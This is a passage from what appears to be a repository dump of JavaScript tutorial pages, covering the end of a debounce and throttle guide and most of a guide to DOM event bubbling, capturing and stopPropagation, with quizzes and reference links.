functions once** — Don't create them inside event handlers or render functions.\n\n6. **Always clean up** — Cancel pending executions and remove event listeners when components unmount.\n\n7. **requestAnimationFrame for animations** — For visual updates, rAF syncs with the browser's repaint cycle for smoother results.\n\n8. **Choose the right delay** — 250-400ms for search/typing, 100-150ms for scroll/resize, 16ms for animations.\n\n9. **Closures make it work** — Both techniques use closures to maintain state (timers, timestamps) between function calls.\n\n10. **Test your implementation** — Verify the behavior matches your expectations, especially edge cases like rapid bursts and cleanup.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the key difference between debounce and throttle?\">\n    **Answer:**\n    \n    - **Debounce** waits for a pause in events before executing. The function only runs once after events stop coming for the specified delay.\n    \n    - **Throttle** executes at regular intervals during continuous events. It guarantees the function runs at most once per specified interval, providing regular updates.\n    \n    **Example:** If events fire continuously for 1 second:\n    - Debounce (300ms): 1 execution (after events stop + 300ms)\n    - Throttle (100ms): ~10 executions (every 100ms)\n  </Accordion>\n  \n  <Accordion title=\"Question 2: When would you use leading edge debounce?\">\n    **Answer:**\n    \n    Leading edge debounce executes immediately on the first call, then ignores subsequent calls until the delay expires. Use it when:\n    \n    1. **Preventing double-clicks** — Submit form on first click, ignore rapid additional clicks\n    2. **Immediate feedback** — Show something instantly, but don't repeat\n    3. **First interaction matters** — Track first button press, not every press\n    \n    ```javascript\n    const preventDoubleClick = debounce(submitForm, 1000, {\n      leading: true,\n      trailing: false\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why shouldn't you create debounced functions inside event handlers?\">\n    **Answer:**\n    \n    Creating a debounced function inside an event handler creates a **new function every time the event fires**. Each new function has its own separate timer, so debouncing never actually works:\n    \n    ```javascript\n    // ❌ WRONG - new debounced function each time\n    input.addEventListener('input', (e) => {\n      debounce(search, 300)(e.target.value)\n      // Timer 1, Timer 2, Timer 3... none wait for each other\n    })\n    \n    // ✓ CORRECT - same debounced function reused\n    const debouncedSearch = debounce(search, 300)\n    input.addEventListener('input', (e) => {\n      debouncedSearch(e.target.value)\n      // Same timer gets reset each time\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What is Lodash's maxWait option?\">\n    **Answer:**\n    \n    The `maxWait` option sets a maximum time a debounced function can be delayed. Even if events keep coming, the function will execute after `maxWait` milliseconds.\n    \n    ```javascript\n    const debouncedSearch = debounce(search, 300, {\n      maxWait: 2000  // Force execution after 2 seconds\n    })\n    ```\n    \n    This is useful for long typing sessions — you still get the debounce behavior, but users see results at least every 2 seconds. It's essentially debounce + throttle combined.\n    \n    Fun fact: Lodash's `throttle` is implemented using `debounce` with `maxWait` equal to the wait time!\n  </Accordion>\n  \n  <Accordion title=\"Question 5: When should you use requestAnimationFrame instead of throttle?\">\n    **Answer:**\n    \n    Use `requestAnimationFrame` when you're doing **visual updates** that need to sync with the browser's repaint cycle:\n    \n    - Scroll-linked animations\n    - Parallax effects\n    - Canvas/WebGL rendering\n    - DOM element transformations\n    \n    ```javascript\n    // rAF syncs with 60fps refresh rate\n    const throttledWithRAF = (fn) => {\n      let ticking = false\n      return (...args) => {\n        if (!ticking) {\n          requestAnimationFrame(() => {\n            fn(...args)\n            ticking = false\n          })\n          ticking = true\n        }\n      }\n    }\n    ```\n    \n    Use throttle for non-visual tasks: API calls, analytics tracking, loading content, validation.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do closures enable debounce and throttle?\">\n    **Answer:**\n    \n    Both debounce and throttle are **higher-order functions** that return a new function. The returned function uses **closures** to remember state between calls:\n    \n    ```javascript\n    function debounce(fn, delay) {\n      let timeoutId  // ← Closure variable, persists between calls\n      \n      return function(...args) {\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => fn.apply(this, args), delay)\n        // timeoutId is remembered from the previous call\n      }\n    }\n    ```\n    \n    The closure allows the returned function to:\n    - Remember the `timeoutId` from previous calls (to clear it)\n    - Track `lastTime` for throttle calculations\n    - Store pending `args` and `this` context\n    \n    Without closures, each call would have no memory of previous calls.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between debounce and throttle in JavaScript?\">\n    Debounce delays execution until events stop coming for a specified duration — it fires once after a burst. Throttle limits execution to at most once per interval during continuous events — it fires at regular intervals. Use debounce when you care about the final value (search), and throttle when you need periodic updates (scroll tracking).\n  </Accordion>\n\n  <Accordion title=\"What is a good debounce delay for search input?\">\n    A delay of 250–400 milliseconds is standard for search autocomplete. This gives users enough time to finish typing a word without feeling unresponsive. Lodash's `maxWait` option can force execution after a maximum delay (e.g., 2 seconds) during long typing sessions, combining debounce and throttle behavior.\n  </Accordion>\n\n  <Accordion title=\"How do I clean up debounced functions in React?\">\n    Always cancel pending executions in a cleanup function. Return a cleanup from `useEffect` that calls `handler.cancel()` and removes event listeners. According to the React documentation, forgetting cleanup is one of the most common sources of memory leaks in React applications using debounce or throttle.\n  </Accordion>\n\n  <Accordion title=\"Can I use requestAnimationFrame instead of throttle?\">\n    Yes, for visual updates like animations and scroll-linked effects. `requestAnimationFrame` syncs with the browser's 60fps repaint cycle (~16ms intervals), producing smoother results than a fixed throttle interval. Use throttle for non-visual tasks like API calls, analytics tracking, and infinite scroll loading.\n  </Accordion>\n\n  <Accordion title=\"Why doesn't my debounce work when created inside an event handler?\">\n    Creating a debounced function inside an event handler creates a new function (with its own timer) on every event. Each instance has a separate timer, so debouncing never kicks in. Always create the debounced function once outside the handler and reuse it — the closure maintains state between calls.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Scope & Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    Understand how closures enable debounce and throttle to maintain state between calls\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    Learn about functions that return functions — the pattern both techniques use\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    Understand how setTimeout and browser events are scheduled and processed\n  </Card>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    The foundation for understanding how debounce and throttle wrap other functions\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Debounce — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Debounce\">\n    Official MDN definition with explanation of leading and trailing edges\n  </Card>\n  <Card title=\"Throttle — MDN Glossary\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Throttle\">\n    Official MDN definition with scroll handler examples\n  </Card>\n  <Card title=\"setTimeout — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/setTimeout\">\n    The timer API that powers debounce implementations\n  </Card>\n  <Card title=\"requestAnimationFrame — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame\">\n    Browser API for syncing with the repaint cycle — an alternative to throttle for animations\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Debouncing and Throttling Explained\" icon=\"newspaper\" href=\"https://css-tricks.com/debouncing-throttling-explained-examples/\">\n    CSS-Tricks' comprehensive guide with interactive CodePen demos. The visual examples make timing differences crystal clear.\n  </Card>\n  <Card title=\"Lodash Debounce Documentation\" icon=\"newspaper\" href=\"https://lodash.com/docs/#debounce\">\n    Official Lodash docs for _.debounce with all options explained. Production-ready implementation details.\n  </Card>\n  <Card title=\"Lodash Throttle Documentation\" icon=\"newspaper\" href=\"https://lodash.com/docs/#throttle\">\n    Official Lodash docs for _.throttle. Shows how throttle is built on top of debounce with maxWait.\n  </Card>\n  <Card title=\"JavaScript Debounce Function — David Walsh\" icon=\"newspaper\" href=\"https://davidwalsh.name/javascript-debounce-function\">\n    Classic article with a simple debounce implementation. Good for understanding the core logic.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Debounce & Throttle — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cjIswDCKgu0\">\n    Kyle Cook explains both concepts with clear visualizations and practical examples. Great for visual learners.\n  </Card>\n  <Card title=\"JavaScript Debounce in 100 Seconds\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cMq6z5SH8s0\">\n    Fireship's ultra-concise explanation of debounce. Perfect quick refresher.\n  </Card>\n  <Card title=\"Debouncing and Throttling — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=UlCHvTt0XLs\">\n    MPJ's entertaining deep dive with real-world examples and implementation from scratch.\n  </Card>\n  <Card title=\"React Debounce Tutorial\" icon=\"video\" href=\"https://www.youtube.com/watch?v=G9aOoZJvPDY\">\n    Learn how to properly use debounce in React with hooks, including cleanup patterns.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/event-bubbling-capturing.mdx",
    "content": "---\ntitle: \"Event Bubbling & Capturing\"\nsidebarTitle: \"Event Bubbling & Capturing\"\ndescription: \"Learn event bubbling and capturing in JavaScript. Understand the three phases of event propagation, stopPropagation, and when to use capturing vs bubbling.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Events\"\n\"article:tag\": \"event bubbling, event capturing, event propagation, stoppropagation, dom events\"\n---\n\nYou click a button inside a `<div>`, but both the button's handler AND the div's handler fire. Why? Or you add a click listener to a parent element, and it somehow catches clicks on all its children. How does that work?\n\nThe answer lies in **event propagation** — the way events travel through the DOM tree. Understanding this unlocks powerful patterns like [event delegation](/beyond/concepts/event-delegation) and helps you avoid frustrating bugs.\n\n```javascript\n// Click a button nested inside a div\ndocument.querySelector('.parent').addEventListener('click', () => {\n  console.log('Parent clicked!')  // This fires too!\n})\n\ndocument.querySelector('.child-button').addEventListener('click', () => {\n  console.log('Button clicked!')  // This fires first\n})\n\n// Click the button → Output:\n// \"Button clicked!\"\n// \"Parent clicked!\" — Wait, I only clicked the button!\n```\n\nThis happens because of **event bubbling** — one of the three phases every DOM event goes through.\n\n<Info>\n**What you'll learn in this guide:**\n- The three phases of event propagation (capturing, target, bubbling)\n- Why events \"bubble up\" to parent elements\n- How to listen during the capturing phase with `addEventListener`\n- The difference between `stopPropagation()` and `stopImmediatePropagation()`\n- Which events don't bubble and their alternatives\n- When capturing is actually useful (it's rare, but important)\n- Common mistakes that break event handling\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you're comfortable with basic [DOM manipulation](/concepts/dom) and event listeners. If `addEventListener` is new to you, read that guide first!\n</Warning>\n\n---\n\n## What is Event Propagation?\n\n**Event propagation** is the process by which an event travels through the DOM tree when triggered on an element. Instead of the event only affecting the element you clicked, it travels through the element's ancestors in a specific order, giving each one a chance to respond.\n\nAccording to the [W3C UI Events specification](https://www.w3.org/TR/uievents/#event-flow), every DOM event goes through **three phases**:\n\n1. **Capturing phase** — The event travels DOWN from `window` to the target element\n2. **Target phase** — The event arrives at the element that triggered it\n3. **Bubbling phase** — The event travels UP from the target back to `window`\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE THREE PHASES OF EVENT PROPAGATION                 │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    PHASE 1: CAPTURING                     PHASE 3: BUBBLING              │\n│    (Top → Down)                           (Bottom → Up)                  │\n│                                                                          │\n│         window                                 window                    │\n│           ↓                                      ↑                       │\n│        document                              document                    │\n│           ↓                                      ↑                       │\n│         <html>                                <html>                     │\n│           ↓                                      ↑                       │\n│         <body>                                <body>                     │\n│           ↓                                      ↑                       │\n│         <div>                                 <div>                      │\n│           ↓                                      ↑                       │\n│        <button>  ←── PHASE 2: TARGET ──→     <button>                   │\n│                                                                          │\n│    Handlers with                          Handlers with                  │\n│    capture: true                          capture: false (default)       │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nBy default, event listeners fire during the **bubbling phase** (Phase 3). [Can I Use data](https://caniuse.com/addeventlistener) confirms that `addEventListener` with capture support is available in all modern browsers since IE9. That's why when you click a button, the button's handler fires first, then its parent's handler, then its grandparent's, and so on up to `window`.\n\n<CardGroup cols={2}>\n  <Card title=\"Event bubbling — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling\">\n    Official MDN guide covering bubbling, capturing, and delegation with interactive examples.\n  </Card>\n  <Card title=\"EventTarget.addEventListener() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener\">\n    Complete reference for addEventListener including the capture option and all parameters.\n  </Card>\n</CardGroup>\n\n---\n\n## The Restaurant Analogy\n\nThink of event propagation like an announcement traveling through a restaurant:\n\n**Capturing phase:** The manager walks from the entrance, through the dining room, past each table, until reaching your table to deliver a message. Every employee along the way hears it first.\n\n**Target phase:** The message reaches you directly.\n\n**Bubbling phase:** After you receive it, anyone who was listening nearby (your table, then nearby tables, then the whole dining room) can also respond — but in reverse order, starting with the closest.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      EVENT PROPAGATION IN A RESTAURANT                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   ENTRANCE (window)                                                      │\n│       │                                                                  │\n│       ↓ ─── Capturing ────────────────────────────────┐                 │\n│   DINING ROOM (document)                              │                  │\n│       │                                               │                  │\n│       ↓                                               │                  │\n│   SECTION A (parent div)                              │                  │\n│       │                                               │                  │\n│       ↓                                               │                  │\n│   YOUR TABLE (button)  ◄── TARGET ──►                 │                  │\n│       │                                               │                  │\n│       ↑                                               │                  │\n│   SECTION A ─── Bubbling ─────────────────────────────┘                 │\n│       ↑                                                                  │\n│   DINING ROOM                                                            │\n│       ↑                                                                  │\n│   ENTRANCE                                                               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nMost of the time, you only care about the bubbling phase. But knowing about capturing helps you understand why events behave the way they do.\n\n---\n\n## Event Bubbling in Action\n\nLet's see bubbling with a concrete example. We'll create nested elements and add click handlers to each:\n\n```javascript\n// HTML: <div class=\"grandparent\">\n//         <div class=\"parent\">\n//           <button class=\"child\">Click me</button>\n//         </div>\n//       </div>\n\ndocument.querySelector('.grandparent').addEventListener('click', () => {\n  console.log('Grandparent clicked')\n})\n\ndocument.querySelector('.parent').addEventListener('click', () => {\n  console.log('Parent clicked')\n})\n\ndocument.querySelector('.child').addEventListener('click', () => {\n  console.log('Child clicked')\n})\n\n// Click the button → Output:\n// \"Child clicked\"\n// \"Parent clicked\"\n// \"Grandparent clicked\"\n```\n\nThe event starts at the button (the target), then bubbles up through each ancestor. This is the default behavior for most events.\n\n### Why Bubbling is Useful\n\nBubbling enables **event delegation** — attaching a single listener to a parent element instead of individual listeners on many children:\n\n```javascript\n// ❌ INEFFICIENT - Listener on every button\ndocument.querySelectorAll('.btn').forEach(btn => {\n  btn.addEventListener('click', handleClick)\n})\n\n// ✓ EFFICIENT - One listener on the parent\ndocument.querySelector('.button-container').addEventListener('click', (e) => {\n  // e.target is the element that was actually clicked\n  if (e.target.matches('.btn')) {\n    handleClick(e)\n  }\n})\n```\n\nThis pattern works because clicks on buttons bubble up to the container. Learn more in our [Event Delegation](/beyond/concepts/event-delegation) guide.\n\n---\n\n## Listening During the Capturing Phase\n\nBy default, `addEventListener` listens during bubbling. To listen during **capturing** (when the event travels DOWN), pass `{ capture: true }` or just `true` as the third argument:\n\n```javascript\n// Listen during BUBBLING (default)\nelement.addEventListener('click', handler)\nelement.addEventListener('click', handler, false)\nelement.addEventListener('click', handler, { capture: false })\n\n// Listen during CAPTURING\nelement.addEventListener('click', handler, true)\nelement.addEventListener('click', handler, { capture: true })\n```\n\nHere's what changes when you use capturing:\n\n```javascript\ndocument.querySelector('.parent').addEventListener('click', () => {\n  console.log('Parent - capturing')\n}, true)  // ← capture: true\n\ndocument.querySelector('.child').addEventListener('click', () => {\n  console.log('Child - target')\n})\n\ndocument.querySelector('.parent').addEventListener('click', () => {\n  console.log('Parent - bubbling')\n})  // ← capture: false (default)\n\n// Click the child → Output:\n// \"Parent - capturing\"  ← Fires FIRST (on the way down)\n// \"Child - target\"\n// \"Parent - bubbling\"   ← Fires LAST (on the way up)\n```\n\n<Tip>\n**When is capturing useful?** Capturing is rarely needed, but it's essential when you need to intercept an event before it reaches the target — like implementing a global \"cancel\" mechanism or logging all clicks before any handler runs.\n</Tip>\n\n---\n\n## The `eventPhase` Property\n\nYou can check which phase an event is in using the [`event.eventPhase`](https://developer.mozilla.org/en-US/docs/Web/API/Event/eventPhase) property:\n\n```javascript\nelement.addEventListener('click', (event) => {\n  console.log(event.eventPhase)\n  // 1 = CAPTURING_PHASE\n  // 2 = AT_TARGET\n  // 3 = BUBBLING_PHASE\n})\n```\n\n| Value | Constant | Meaning |\n|-------|----------|---------|\n| 0 | `Event.NONE` | Event is not being processed |\n| 1 | `Event.CAPTURING_PHASE` | Event is traveling down to target |\n| 2 | `Event.AT_TARGET` | Event is at the target element |\n| 3 | `Event.BUBBLING_PHASE` | Event is bubbling up from target |\n\n```javascript\ndocument.querySelector('.parent').addEventListener('click', (e) => {\n  const phases = ['NONE', 'CAPTURING', 'AT_TARGET', 'BUBBLING']\n  console.log(`Phase: ${phases[e.eventPhase]}`)\n}, true)\n\ndocument.querySelector('.parent').addEventListener('click', (e) => {\n  const phases = ['NONE', 'CAPTURING', 'AT_TARGET', 'BUBBLING']\n  console.log(`Phase: ${phases[e.eventPhase]}`)\n})\n\n// Click the parent directly → Output:\n// \"Phase: AT_TARGET\"\n// \"Phase: AT_TARGET\"\n// (Both fire at target phase when clicking the element directly)\n\n// Click a child element → Output:\n// \"Phase: CAPTURING\"\n// \"Phase: BUBBLING\"\n```\n\n---\n\n## `event.target` vs `event.currentTarget`\n\nWhen events bubble, you need to distinguish between:\n\n- **`event.target`** — The element that **triggered** the event (what was actually clicked)\n- **`event.currentTarget`** — The element that **has the listener** (where the handler is attached)\n\n```javascript\ndocument.querySelector('.parent').addEventListener('click', (e) => {\n  console.log('target:', e.target.className)        // What was clicked\n  console.log('currentTarget:', e.currentTarget.className)  // Where listener is\n})\n\n// Click on a child button with class \"child\"\n// target: \"child\"         ← The button you clicked\n// currentTarget: \"parent\" ← The element with the listener\n```\n\nThis distinction is crucial for event delegation:\n\n```javascript\n// Event delegation pattern\ndocument.querySelector('.list').addEventListener('click', (e) => {\n  // e.target might be the <li>, <span>, or any child\n  // e.currentTarget is always .list\n  \n  // Find the list item (even if user clicked a child)\n  const listItem = e.target.closest('li')\n  if (listItem) {\n    console.log('Clicked item:', listItem.textContent)\n  }\n})\n```\n\n---\n\n## Stopping Event Propagation\n\nSometimes you need to stop an event from traveling further. JavaScript provides two methods:\n\n### `stopPropagation()`\n\n[`event.stopPropagation()`](https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation) stops the event from traveling to other elements, but **other handlers on the current element still run**:\n\n```javascript\ndocument.querySelector('.parent').addEventListener('click', () => {\n  console.log('Parent handler')  // This WON'T fire\n})\n\ndocument.querySelector('.child').addEventListener('click', (e) => {\n  console.log('Child handler 1')\n  e.stopPropagation()  // Stop bubbling here\n})\n\ndocument.querySelector('.child').addEventListener('click', () => {\n  console.log('Child handler 2')  // This STILL fires\n})\n\n// Click child → Output:\n// \"Child handler 1\"\n// \"Child handler 2\"  ← Still runs (same element)\n// (Parent handler never fires)\n```\n\n### `stopImmediatePropagation()`\n\n[`event.stopImmediatePropagation()`](https://developer.mozilla.org/en-US/docs/Web/API/Event/stopImmediatePropagation) stops the event AND prevents other handlers on the same element from running:\n\n```javascript\ndocument.querySelector('.child').addEventListener('click', (e) => {\n  console.log('Child handler 1')\n  e.stopImmediatePropagation()  // Stop everything\n})\n\ndocument.querySelector('.child').addEventListener('click', () => {\n  console.log('Child handler 2')  // This WON'T fire\n})\n\n// Click child → Output:\n// \"Child handler 1\"\n// (Nothing else runs)\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│              stopPropagation vs stopImmediatePropagation                 │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   stopPropagation()                 stopImmediatePropagation()           │\n│   ─────────────────                 ──────────────────────────           │\n│                                                                          │\n│   ✓ Stops bubbling/capturing        ✓ Stops bubbling/capturing           │\n│   ✓ Other handlers on SAME          ✗ Other handlers on SAME             │\n│     element still run                 element DON'T run                  │\n│                                                                          │\n│   Use when: You want to stop        Use when: You want to completely     │\n│   propagation but allow other       cancel all further event handling    │\n│   handlers on this element                                               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**Use sparingly!** Stopping propagation breaks event delegation and can cause confusing bugs. Analytics tools, modals, and dropdowns often rely on document-level click handlers. When you stop propagation, those stop working. Usually there's a better solution.\n</Warning>\n\n---\n\n## `stopPropagation()` vs `preventDefault()`\n\nDon't confuse propagation with default behavior:\n\n| Method | What it does | Example |\n|--------|--------------|---------|\n| `stopPropagation()` | Stops event from reaching other elements | Parent's click handler won't fire |\n| `preventDefault()` | Stops the browser's default action | Link won't navigate, form won't submit |\n\n```javascript\n// They do different things!\nlink.addEventListener('click', (e) => {\n  e.preventDefault()      // Link won't navigate\n  // But event STILL bubbles to parent!\n})\n\nlink.addEventListener('click', (e) => {\n  e.stopPropagation()     // Parent handlers won't fire\n  // But link STILL navigates!\n})\n\nlink.addEventListener('click', (e) => {\n  e.preventDefault()       // Don't navigate\n  e.stopPropagation()      // Don't bubble\n  // Now it does neither\n})\n```\n\n---\n\n## Events That Don't Bubble\n\nMost events bubble, but some don't. As [MDN's event reference](https://developer.mozilla.org/en-US/docs/Web/Events) documents, each event specifies whether it bubbles in its specification. Here are the common ones:\n\n| Event | Bubbles? | Bubbling Alternative |\n|-------|----------|---------------------|\n| `click`, `mousedown`, `keydown` | Yes | — |\n| `focus` | No | `focusin` |\n| `blur` | No | `focusout` |\n| `mouseenter` | No | `mouseover` |\n| `mouseleave` | No | `mouseout` |\n| `load`, `unload`, `scroll` | No | — |\n| `resize` | No | — |\n\nIf you need delegation for non-bubbling events, use their bubbling alternatives:\n\n```javascript\n// ❌ WON'T WORK - focus doesn't bubble\nform.addEventListener('focus', (e) => {\n  console.log('Something focused:', e.target)\n})\n\n// ✓ WORKS - focusin bubbles\nform.addEventListener('focusin', (e) => {\n  console.log('Something focused:', e.target)\n})\n```\n\n```javascript\n// ❌ WON'T WORK - mouseenter doesn't bubble\ncontainer.addEventListener('mouseenter', (e) => {\n  console.log('Mouse entered:', e.target)\n})\n\n// ✓ WORKS - mouseover bubbles (but fires more often)\ncontainer.addEventListener('mouseover', (e) => {\n  console.log('Mouse over:', e.target)\n})\n```\n\n<Tip>\n**Quick check:** You can verify if an event bubbles by checking `event.bubbles`:\n```javascript\nelement.addEventListener('focus', (e) => {\n  console.log(e.bubbles)  // false\n})\n```\n</Tip>\n\n---\n\n## When to Use Capturing\n\nCapturing is rarely needed, but here are legitimate use cases:\n\n### 1. Intercepting Events Before They Reach Target\n\n```javascript\n// Log every click before any handler runs\ndocument.addEventListener('click', (e) => {\n  console.log('Click detected on:', e.target)\n}, true)  // Capture phase - fires first\n```\n\n### 2. Implementing \"Cancel All Clicks\" Functionality\n\n```javascript\nlet disableClicks = false\n\ndocument.addEventListener('click', (e) => {\n  if (disableClicks) {\n    e.stopPropagation()\n    console.log('Click blocked!')\n  }\n}, true)  // Must use capture to intercept before target\n```\n\n### 3. Handling Events on Disabled Elements\n\nSome browsers don't fire events on disabled form elements, but capturing on a parent can catch them:\n\n```javascript\nform.addEventListener('click', (e) => {\n  if (e.target.disabled) {\n    console.log('Clicked disabled element')\n  }\n}, true)\n```\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"Forgetting capture when removing listeners\">\n    If you added a listener with `capture: true`, you must remove it the same way:\n    \n    ```javascript\n    // Adding with capture\n    element.addEventListener('click', handler, true)\n    \n    // ❌ WRONG - Won't remove the listener\n    element.removeEventListener('click', handler)\n    \n    // ✓ CORRECT - Must match capture setting\n    element.removeEventListener('click', handler, true)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Breaking event delegation with stopPropagation\">\n    Stopping propagation can break other code that relies on bubbling:\n    \n    ```javascript\n    // Some library sets up a document click handler for modals\n    document.addEventListener('click', closeAllModals)\n    \n    // Your code stops propagation\n    button.addEventListener('click', (e) => {\n      e.stopPropagation()  // Now modals never close!\n      doSomething()\n    })\n    \n    // ✓ Better: Check if you need to stop, or use a different approach\n    button.addEventListener('click', (e) => {\n      doSomething()\n      // Don't stop propagation unless absolutely necessary\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Confusing target and currentTarget\">\n    Using the wrong property leads to bugs in delegated handlers:\n    \n    ```javascript\n    // ❌ WRONG - target might be a child element\n    list.addEventListener('click', (e) => {\n      e.target.classList.add('selected')  // Might select a <span> inside <li>\n    })\n    \n    // ✓ CORRECT - Find the actual list item\n    list.addEventListener('click', (e) => {\n      const item = e.target.closest('li')\n      if (item) {\n        item.classList.add('selected')\n      }\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Using non-bubbling events for delegation\">\n    Some events don't bubble, so delegation won't work:\n    \n    ```javascript\n    // ❌ WRONG - focus doesn't bubble\n    form.addEventListener('focus', highlightField)\n    \n    // ✓ CORRECT - Use the bubbling version\n    form.addEventListener('focusin', highlightField)\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Events travel in three phases** — Capturing (down), target (at element), bubbling (up). Most handlers fire during bubbling.\n\n2. **Bubbling is the default** — When you click a child, parent handlers fire too. This enables event delegation.\n\n3. **Use `{ capture: true }` for capturing** — Add as third argument to `addEventListener` to catch events on the way down.\n\n4. **`target` vs `currentTarget`** — `target` is what was clicked, `currentTarget` is where the handler lives.\n\n5. **`stopPropagation()` stops travel** — Prevents the event from reaching other elements, but other handlers on the same element still run.\n\n6. **`stopImmediatePropagation()` stops everything** — Prevents all further handling, even on the same element.\n\n7. **Don't confuse with `preventDefault()`** — That stops browser default actions (link navigation, form submission), not propagation.\n\n8. **Some events don't bubble** — `focus`, `blur`, `mouseenter`, `mouseleave`. Use their bubbling alternatives for delegation.\n\n9. **Use `stopPropagation()` sparingly** — It breaks event delegation and can cause hard-to-debug issues.\n\n10. **Remember capture when removing listeners** — `removeEventListener` must match the capture setting used in `addEventListener`.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What are the three phases of event propagation?\">\n    **Answer:**\n    \n    1. **Capturing phase** — Event travels from `window` down through ancestors to the target element\n    2. **Target phase** — Event is at the element that triggered it\n    3. **Bubbling phase** — Event travels from target back up through ancestors to `window`\n    \n    By default, event listeners fire during the bubbling phase.\n  </Accordion>\n  \n  <Accordion title=\"How do you make an event listener fire during the capturing phase?\">\n    **Answer:**\n    \n    Pass `true` or `{ capture: true }` as the third argument to `addEventListener`:\n    \n    ```javascript\n    element.addEventListener('click', handler, true)\n    // or\n    element.addEventListener('click', handler, { capture: true })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What's the difference between event.target and event.currentTarget?\">\n    **Answer:**\n    \n    - `event.target` — The element that **triggered** the event (what the user actually clicked)\n    - `event.currentTarget` — The element that **has the event listener** attached\n    \n    They're the same when you click directly on an element with a listener, but different when events bubble up from children.\n  </Accordion>\n  \n  <Accordion title=\"What's the difference between stopPropagation() and stopImmediatePropagation()?\">\n    **Answer:**\n    \n    - `stopPropagation()` — Stops the event from reaching other elements, but other handlers on the **same element** still run\n    - `stopImmediatePropagation()` — Stops everything, including other handlers on the same element\n    \n    ```javascript\n    // With stopPropagation, both child handlers run\n    // With stopImmediatePropagation, only the first child handler runs\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Why doesn't this event delegation work with 'focus' events?\">\n    **Answer:**\n    \n    The `focus` event doesn't bubble! For delegation with focus events, use `focusin` instead:\n    \n    ```javascript\n    // ❌ Won't work - focus doesn't bubble\n    form.addEventListener('focus', handler)\n    \n    // ✓ Works - focusin bubbles\n    form.addEventListener('focusin', handler)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What happens if you add a listener with capture:true but remove it without specifying capture?\">\n    **Answer:**\n    \n    The listener won't be removed! You must match the capture setting:\n    \n    ```javascript\n    element.addEventListener('click', handler, true)\n    element.removeEventListener('click', handler)       // ❌ Doesn't remove\n    element.removeEventListener('click', handler, true) // ✓ Removes correctly\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is event bubbling in JavaScript?\">\n    Event bubbling is the process where an event triggered on a child element propagates upward through its ancestor elements in the DOM tree. According to the W3C DOM specification, bubbling is Phase 3 of event propagation and is the default phase in which `addEventListener` handlers fire.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between event bubbling and event capturing?\">\n    Bubbling travels from the target element up to `window`, while capturing travels from `window` down to the target. By default, listeners fire during bubbling. To listen during capturing, pass `{ capture: true }` as the third argument to `addEventListener`. MDN documents that most real-world code uses bubbling exclusively.\n  </Accordion>\n\n  <Accordion title=\"How do I stop event propagation in JavaScript?\">\n    Call `event.stopPropagation()` to prevent the event from reaching other elements while still allowing other handlers on the same element to run. Use `event.stopImmediatePropagation()` to stop all further handling entirely. Use these sparingly — the CSS-Tricks article \"Dangers of Stopping Event Propagation\" warns they can break analytics and third-party modal libraries.\n  </Accordion>\n\n  <Accordion title=\"Which JavaScript events do not bubble?\">\n    The `focus`, `blur`, `mouseenter`, `mouseleave`, 